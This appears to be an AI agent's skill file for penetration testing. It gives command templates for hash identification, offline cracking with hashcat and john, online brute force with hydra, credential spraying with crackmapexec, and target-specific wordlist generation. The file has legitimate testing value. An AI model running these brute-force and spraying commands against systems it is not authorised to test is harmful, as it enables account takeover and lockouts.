| name | credential-attack |
| description | Password cracking, credential brute force, hash analysis, and authentication testing for penetration testing engagements. Use this skill whenever the user mentions password cracking, hash cracking, brute force attack, credential spraying, password spray, dictionary attack, hashcat, john the ripper, hydra, medusa, credential stuffing, NTLM hash, NTHash, NetNTLMv2, Kerberos ticket cracking, AS-REP roasting, Kerberoasting, hash identification, rainbow tables, wordlist generation, custom wordlists, CeWL, crunch, cupp, password policy analysis, or any request to crack, guess, or test credentials. Also trigger for: "crack these hashes", "brute force this login", "test default credentials", "generate a wordlist", "what hash type is this", "password audit", or any credential-related testing activity. Expert tools: hashcat (GPU), john (CPU), hydra (online brute force), crackmapexec (network cred testing), medusa (parallel brute force).
|
| compatibility | {"tools":["bash","python"],"mcps":["desktop-commander","hexstrike"],"skills":["post-exploit","vuln-analysis","scope-guard"]} |
Credential Attack Skill
Overview
Handles all credential-related testing: hash identification, offline cracking
(hashcat/john), online brute force (hydra/medusa), credential spraying, wordlist
generation, and password policy analysis. All online attacks require scope-guard
validation and rate-limit awareness.
Expert Tool Selection Matrix
| Task | Best Tool | Why |
|---|
| GPU hash cracking | hashcat | Fastest, supports 300+ hash types |
| CPU hash cracking | john | Better rules engine, more flexible |
| Online brute force (HTTP/SSH/FTP) | hydra | Widest protocol support |
| Network credential spraying | crackmapexec | SMB/WinRM/LDAP/SSH multi-proto |
| Parallel online brute force | medusa | Stable threading, modular |
| Hash identification | hashid / haiti | Auto-detect hash types |
| Wordlist generation (target-specific) | CeWL | Scrapes target site for words |
| Wordlist generation (personal) | cupp | Generates from personal info |
| Wordlist mutations | hashcat rules / john rules | Best-in-class mangling |
Core Instructions
Step 1 — Hash Identification
hashid '{hash_value}'
haiti '{hash_value}'
Step 2 — Offline Cracking (hashcat — GPU preferred)
hashcat -m {mode} {hash_file} /usr/share/wordlists/rockyou.txt -o cracked.txt
hashcat -m {mode} {hash_file} /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule -o cracked.txt
hashcat -m {mode} {hash_file} -a 3 '?u?l?l?l?l?l?d?d' -o cracked.txt
hashcat -m {mode} {hash_file} -a 1 wordlist1.txt wordlist2.txt
Step 2b — Offline Cracking (john — CPU, better rules)
john --wordlist=/usr/share/wordlists/rockyou.txt {hash_file}
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 {hash_file}
john --show {hash_file}
Step 3 — Online Brute Force (hydra — REQUIRES scope-guard)
hydra -L users.txt -P passwords.txt ssh://{target} -t 4 -w 30
hydra -L users.txt -P passwords.txt {target} http-post-form \
"/login:user=^USER^&pass=^PASS^:F=incorrect" -t 4
hydra -L users.txt -P passwords.txt ftp://{target}
hydra -L users.txt -P passwords.txt smb://{target}
hydra -L users.txt -P passwords.txt rdp://{target} -t 1
⚠️ Rate limiting: Always use -t 4 or lower to avoid lockouts.
⚠️ Account lockout: Check password policy FIRST. If lockout after N attempts,
use credential spraying (1 password × many users) instead.
Step 4 — Credential Spraying (crackmapexec)
crackmapexec smb {target_range} -u users.txt -p 'Summer2026!' --no-bruteforce
crackmapexec smb {target_range} -u admin -p cracked_pass --shares
crackmapexec winrm {target_range} -u users.txt -p 'Password1!'
Step 5 — Wordlist Generation
cewl {target_url} -d 3 -m 5 -w /tmp/pentest/{target}/custom_wordlist.txt
cupp -i
sort -u rockyou.txt custom_wordlist.txt cupp_output.txt > combined.txt
Output Format
{
"engagement_id": "ENG-2026-001",
"credential_attack": {
"hashes_received": 47,
"hashes_cracked": 31,
"crack_rate": "65.9%",
"method": "hashcat dictionary+rules",
"time_taken": "2h 15m",
"cracked_credentials": [
{"user": "admin", "hash_type": "NTLM", "password": "Summer2026!", "complexity": "weak"},
{"user": "svc_backup", "hash_type": "NTLM", "password": "Backup123", "complexity": "weak"}
],
"password_policy_findings": [
"No minimum length enforced",
"Common patterns: Season+Year (43%), Company+digits (22%)",
"3 accounts using default credentials"
]
}
}
Output Checklist